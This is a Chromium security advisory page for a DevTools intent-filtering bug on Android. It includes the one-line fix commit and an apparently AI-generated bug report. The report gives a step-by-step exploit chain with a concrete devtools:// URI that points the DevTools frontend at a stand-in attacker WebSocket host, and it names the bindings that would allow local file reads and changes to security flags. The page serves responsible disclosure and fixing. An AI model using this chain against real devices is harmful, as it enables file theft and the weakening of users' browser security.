Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in DevTools
DescriptionInsufficient policy enforcement in DevTools
ComponentDevTools
Bug ClassLogic Error
Tracker497936728
Fix commitf23db0dca7d1 (chromium/src) +1/-0
CISA KEVNot listed
CreditedGoogle
Disclosed2026-05-05

Files Changed

  • chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
From f23db0dca7d17241f43f015369f58139b60bd4f9 Mon Sep 17 00:00:00 2001
From: Ryo Hashimoto <hashimoto@google.com>
Date: Wed, 01 Apr 2026 17:15:44 -0700
Subject: [PATCH] android: Filter devtools scheme

BUG=497936728
BUG=498454478

Change-Id: I10db3564d28d9ae97e1831a83da28acf9b6aafb3
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7720562
Reviewed-by: Theresa Sullivan <twellington@chromium.org>
Commit-Queue: Ryo Hashimoto <hashimoto@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1608884}
---

diff --git a/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java b/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
index 563e76b8..cf04bc9 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
@@ -1069,6 +1069,7 @@
             String lowerCaseScheme = scheme.toLowerCase(Locale.US);
             if (UrlConstants.CHROME_SCHEME.equals(lowerCaseScheme)
                     || UrlConstants.CHROME_NATIVE_SCHEME.equals(lowerCaseScheme)
+                    || UrlConstants.DEVTOOLS_SCHEME.equals(lowerCaseScheme)
                     || UrlConstants.DISTILLER_SCHEME.equals(lowerCaseScheme)
                     || ContentUrlConstants.ABOUT_SCHEME.equals(lowerCaseScheme)) {
                 // Allow certain "safe" internal URLs to be launched by external
Loading diff…

Original Bug Report

reported by vm...@google.com

Potential WebUI Privilege Escalation via devtools:// Intent Filter Bypass on Android

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: Chrome for Android’s Intent filtering fails to block the devtools:// scheme, allowing external apps to launch the DevTools frontend. An attacker can append a ws= query parameter to force the DevTools UI to connect to a malicious WebSocket server, gaining control over the privileged WebUI renderer. This allows access to powerful browser-process bindings, enabling local file theft or the setting of dangerous persistent browser flags.

Affected files:

  • chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
  • chrome/browser/devtools/devtools_ui_bindings.cc
  • chrome/browser/ui/webui/chrome_web_ui_controller_factory.cc
  • chrome/browser/ui/webui/devtools/devtools_ui.cc

Estimated timestamp from git blame: 2025-08-25

Vulnerability Description

A vulnerability exists in Chrome for Android where external intents are not properly filtered against the devtools:// scheme. This allows a malicious local Android application to force Chrome to navigate to the DevTools frontend. By manipulating the ws (WebSocket) query parameter, an attacker can hijack the DevTools frontend, taking control of a privileged WebUI context.

Note: These steps are based on static code analysis by an AI tooling agent and represent a potential exploit chain. The agent does not have the ability to run code or verify the exploit dynamically.

Step-by-Step Exploit Chain

  1. Intent Filter Bypass: An attacker application sends an ACTION_VIEW Intent with the URI devtools://devtools/bundled/devtools_app.html?ws=attacker.com/ws. In chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java, the method intentHasUnsafeInternalScheme checks if the scheme is an internal Chrome scheme (chrome:, chrome-native:, or about:). It crucially omits devtools:. Thus, the Intent is permitted.

  2. Incomplete URL Sanitization: The navigation is processed by ChromeWebUIControllerFactory. The URL is validated via DevToolsUIBindings::IsValidFrontendURL. The ws query parameter is sanitized by SanitizeEndpoint (in chrome/browser/devtools/devtools_ui_bindings.cc), which only checks for the absence of & and ? characters. It does not restrict the WebSocket endpoint to localhost or a trusted domain, allowing attacker.com/ws to pass.

  3. Opener Check Bypass: As the navigation prepares to commit, DevToolsUIBindings::ReadyToCommitNavigation performs a security check to ensure that if the window has an opener, the opener is also a DevTools window. However, because the navigation was initiated by an external Intent, the WebContents has no opener (GetOpener() == nullptr). This entirely bypasses the check, and DevToolsFrontendHost::Create is successfully called, injecting privileged Mojo bindings into the WebUI renderer.

  4. WebSocket Hijacking: The DevTools frontend loads and establishes a WebSocket connection to the attacker-controlled endpoint (ws://attacker.com/ws).

  5. Privilege Escalation: The attacker’s WebSocket server now controls the DevTools frontend. The attacker can execute JavaScript in the WebUI to invoke window.DevToolsHost.sendMessageToEmbedder. This grants access to powerful browser-process bindings implemented in DevToolsUIBindings:

    • Arbitrary File Read: Calling the loadNetworkResource method allows the attacker to read local files via file:// URLs (e.g., from external storage like /sdcard/), as the backend explicitly creates a FileURLLoaderFactory for file schemes.
    • Persistent Flag Modification: Calling the setChromeFlag method allows the attacker to persistently enable dangerous features or disable security mitigations in about:flags, followed by invoking requestRestart to execute Chrome with a compromised security posture.

Suggested Fix

  1. Intent Filter: Update intentHasUnsafeInternalScheme in IntentHandler.java to explicitly include UrlConstants.DEVTOOLS_SCHEME in the list of unsafe internal schemes.
  2. Endpoint Sanitization: Strengthen SanitizeEndpoint in devtools_ui_bindings.cc to restrict WebSocket connections to loopback addresses (localhost / 127.0.0.1) unless explicitly authorized for remote debugging.

Evaluated with Chrome root at commit: a9cbf6e8b275fe4147435aa905f3b7f5a656f5f0


Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker